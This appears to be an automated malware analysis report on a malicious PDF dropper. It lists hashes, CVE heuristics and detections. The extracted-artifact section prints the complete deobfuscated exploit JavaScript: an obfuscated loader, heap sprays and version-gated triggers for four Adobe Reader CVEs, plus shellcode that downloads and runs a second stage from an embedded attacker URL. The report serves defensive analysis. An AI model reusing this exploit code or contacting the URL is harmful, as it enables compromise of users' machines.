Malicious PDF — malware analysis report

Static analysis result for SHA-256 374558d7f64c39a9…

MALICIOUS

PDF

584.4 KB First seen: 2026-05-04
MD5: 8cbeb6b882a7e4c9e9acfce795004280 SHA-1: 7fea4d1d2552a501cdfb80e7293554c8facf2c39 SHA-256: 374558d7f64c39a9cec8e6e6100397a7a0eb3994967260d162fdae1f3f847b0a
570 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious Link

The PDF file contains multiple critical heuristic firings indicating exploitation of known PDF vulnerabilities, specifically CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. These vulnerabilities are leveraged to execute embedded JavaScript. The presence of JavaScript actions and embedded JS streams, along with ClamAV detections of 'Pdf.Dropper.Agent-7249145-0' and an extracted artifact 'Pdf.Exploit.Agent-35646', strongly suggests this PDF is a dropper designed to download and execute further malicious payloads.

Machine Learning

  • Nyx PDF Classifier malicious score 0.8316

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Dropper.Agent-7249145-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7249145-0
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://wweerr.cz.cc/as/viewforum.php/195d0bde05d9c5c29d1670339464e181?spl=pdf_13 Referenced by PDF JavaScript
    • http://www.iec.chIn PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 18

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0307_000.js pdf-javascript-stream PDF /JS object 307 at offset 0x8F1D4 730 bytes
SHA-256: 3eb94a1237847c2fd0f07ee9e5f75fb6496c9d036a1c43a4542506e91250a906
Preview script
First 1,000 lines of the extracted script
cHT=' uXu uXu uXu uXuvuXu1uXu=uXutuXuhuXuiuXusuXu.uXuiuXunuXufuXuouXu.uXuruXuouXuvuXueuXuruXusuXu;uXuvuXu2uXu=uXutuXuhuXuiuXusuXu.uXuiuXunuXufuXuouXu.uXuauXubuXuduXuuuXuluXuauXu;uXuvuXu3uXu=uXuvuXu1uXu+uXuvuXu2uXu;uXuvuXu4uXu=uXu"uXu"uXu;uXufuXuouXuruXu uXu(uXuiuXu=uXu0uXu;uXuiuXu<uXuvuXu3uXu.uXuluXueuXunuXuguXutuXuhuXu;uXuiuXu uXu+uXu=uXu6uXu)uXu{uXu uXu uXu uXuvuXu4uXu uXu+uXu=uXuvuXu3uXu.uXucuXuhuXuauXuruXuAuXutuXu(uXuiuXu)uXu;uXu}uXu uXu uXu uXu uXu uXu uXu uXu uXueuXuvuXuauXuluXu(uXuvuXu4uXu)uXu;uXu'.replace(/uXu/g,"");cNiu=['H','q','O','e','N','K','y','j','L','M','R','v','b','R','e','2','3','k','6','a','S','3','B','Y','l','V','F','e','8','C','9'];tixtb=cNiu[3]+cNiu[11]+cNiu[19]+cNiu[24];        app[tixtb](cHT);
info_stride_js_000.js deobfuscated-js PDF /Info fields via stride 6 4578 bytes
SHA-256: 1905ddfdf05f4c66604a8d45e0eeb411ccad1e5852ac86087ca733412bbc2eb8
Detection
ClamAV: Pdf.Exploit.Agent-35646
Obfuscation or payload: likely
Carved artifact contains 12 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function shcode()
{

sh = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u772F%u6577%u7265%u2E72%u7A63%u632E%u2F63%u7361%u762F%u6569%u6677%u726F%u6D75%u702E%u7068%u312F%u3539%u3064%u6462%u3065%u6435%u6339%u6335%u3932%u3164%u3736%u3330%u3933%u3634%u6534%u3831%u3F31%u7073%u3D6C%u6470%u5F66%u3331";
return sh;

}

function nplayer() {
function kzbve()
{
var eobwe="p@111111111111111111111111 : yyyy111";
util.printd(eobwe, new Date());
}

var grizxw=12000;
jucobu=new Array();
var klkng = "%u9090%u9090";
var hwjnalb8=shcode(shcode());
klkng=unescape(klkng);
hwjnalb8=unescape(hwjnalb8);

while(klkng.length <= 0x8000){klkng+=klkng;}
klkng=klkng.substr(0,0x8000 - hwjnalb8.length);
for(fzfwam=0;fzfwam<grizxw;fzfwam++) {jucobu[fzfwam]=klkng + hwjnalb8;}
if(grizxw){kzbve();kzbve();try {this.media.newPlayer(null);} catch(e) {}kzbve();}
}

function printf() {

var payload=unescape(shcode());

var nop ="";
for (iCnt=128;iCnt>=0;--iCnt) nop += unescape("%u9090%u9090%u9090%u9090%u9090");
heapblock = nop + payload;
bigblock = unescape("%u9090%u9090");
headersize = 20;
spray = headersize+heapblock.length;
while (bigblock.length<spray) bigblock+=bigblock;
fillblock = bigblock.substring(0, spray);
block = bigblock.substring(0, bigblock.length-spray);
while(block.length+spray < 0x40000) block = block+block+fillblock;
mem = new Array();
for (i=0;i<1400;i++) mem[i] = block + heapblock;

var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
util.printf("%45000f",num);
}

function geticon() {

var shellcode=unescape(shcode());

garbage = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090") + shellcode;
nopblock = unescape("%u9090%u9090"); 
headersize = 10;
acl = headersize+garbage.length;
while (nopblock.length<acl) nopblock+=nopblock;
fillblock = nopblock.substring(0, acl);
block = nopblock.substring(0, nopblock.length-acl);
while(block.length+acl<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<180;i++) memory[i] = block + garbage;
var buffersize = 4012;
var buffer = Array(buffersize);
for (i=0; i<buffersize; i++)
{
buffer[i] = unescape("%0a%0a%0a%0a");
}

Collab.getIcon(buffer+"_N.bundle");
}

function collab() {

function fix_it(yarsp,len) {
while(yarsp.length*2<len) { yarsp+=yarsp; }
yarsp=yarsp.substring(0,len/2);
return yarsp; }
var shellcode=unescape(shcode());
var mem_array=new Array();
var cc=0x0c0c0c0c;
var addr=0x400000;
var sc_len=shellcode.length*2;
var len=addr-(sc_len+0x38);
var yarsp=unescape("%u9090%u9090");
yarsp=fix_it(yarsp,len);
var count2=(cc-0x400000)/addr;
for(var count=0;count<count2;count++) {mem_array[count]=yarsp+shellcode; }
var overflow=unescape("%u0c0c%u0c0c");
while(overflow.length<44952) {overflow+=overflow; }
this.collabStore=Collab.collectEmailInfo( { subj:"",msg:overflow } ); 

}

aPlugins = app.plugIns;
var sv=parseInt(app.viewerVersion.toString().charAt(0));
for (var i=0; i < aPlugins.length; i++)
  {
    if (aPlugins[i].name=="EScript")
      {
        var lv=aPlugins[i].version;
      }
  }  
if ((lv==9)||((sv==8)&&(lv<=8.12)))
  {
    geticon();
  }
else if (lv==7.1)
  {
    printf();
  }
else if (((sv==6)||(sv==7))&&(lv<7.11))
  {
    collab();
  }
else if ((lv >= 9.1) || (lv <= 9.2) || (lv >= 8.13) || (lv <= 8.17))
  {
        nplayer();
  }
icc_00_off00014dc3.icc pdf-icc-profile PDF ICC profile at offset 0x14DC3 3144 bytes
SHA-256: 2b3aa1645779a9e634744faf9b01e9102b0c9b88fd6deced7934df86b949af7e
font_00_cff_off0000ca09.bin pdf-font-stream PDF embedded font (cff) at offset 0xCA09 357 bytes
SHA-256: 38f4ddd32e736897982ced0858b49da07a104e846d0946b9789f4ef370f99eb2
font_01_cff_off0000ceb2.bin pdf-font-stream PDF embedded font (cff) at offset 0xCEB2 499 bytes
SHA-256: 2789af23995f8af33b2dae091e9b962494e0b8b0e898fada623820ee9686b3ca
font_02_cff_off0000d3df.bin pdf-font-stream PDF embedded font (cff) at offset 0xD3DF 2550 bytes
SHA-256: 755b31802bfcbe5da85fa3b6417005821fa046390579475e59a1b7e221fd17f2
font_03_cff_off0000e12d.bin pdf-font-stream PDF embedded font (cff) at offset 0xE12D 3369 bytes
SHA-256: eb7fc9a0f6b5c973d758c18668889ef5241421e8108bf894a9400ecd0930c40c
font_04_cff_off0000f0d6.bin pdf-font-stream PDF embedded font (cff) at offset 0xF0D6 2951 bytes
SHA-256: ce12ce1ce9ee146def1a9a0aa879316c8283c74b0dab40de60412666b768231d
font_05_cff_off0000ff0b.bin pdf-font-stream PDF embedded font (cff) at offset 0xFF0B 5979 bytes
SHA-256: 650743b0083f4117eafe6d934f210cd07b94d118b25ed99f041916d1b6f42ac7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.40, consistent with packed or encrypted content.
font_06_cff_off0001178b.bin pdf-font-stream PDF embedded font (cff) at offset 0x1178B 1949 bytes
SHA-256: 91487fd16b17d83908b1ba219ae597731b7158e968667787a056b1d4df0de59a
font_07_cff_off0001239e.bin pdf-font-stream PDF embedded font (cff) at offset 0x1239E 6612 bytes
SHA-256: cf4944c56c01f4a65c36b5010c12128ca3ddbe0e6806e8b147a7b04453bfa751
font_08_cff_off00013fbf.bin pdf-font-stream PDF embedded font (cff) at offset 0x13FBF 3996 bytes
SHA-256: c5675bd2f2b586cbf48ee24f95e1cf91eec1b4928c28c92220efce9ec4db3e29
font_09_sfnt_off00017644.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x17644 23432 bytes
SHA-256: 2722878b19761e7a433e1ca6f32e7f9fe9cccce4136877b3beb9040f23bd4b18
font_10_sfnt_off0001ac1b.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x1AC1B 52108 bytes
SHA-256: 80383e85181b7288bd3f68d71356b7e2ef2e1f0ba00d93e81908469c104a18d9
font_11_sfnt_off00023303.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x23303 48764 bytes
SHA-256: 336a7a084a76c025a84d5a8cbd6080db9a267cde0e24fe672acabed56b19aa8d
font_12_cff_off0008754b.bin pdf-font-stream PDF embedded font (cff) at offset 0x8754B 1390 bytes
SHA-256: b7acc2e77938f52ea0e0e99ad276600cacf4c9a68f9966b0cff658984fc5fdfe
font_16_cff_off0008c3af.bin pdf-font-stream PDF embedded font (cff) at offset 0x8C3AF 2026 bytes
SHA-256: 498107d4b463cdfaabb7ecb0de303a1fd3753cd0475826d8151726b62a86cbb1
font_17_cff_off0008ced6.bin pdf-font-stream PDF embedded font (cff) at offset 0x8CED6 1370 bytes
SHA-256: 6b20e84459271e0cdfae9863860320d5b0fe24a40f52c5aa56fd600bf142e820

Open this report in the interactive analyzer, or submit your own file for analysis.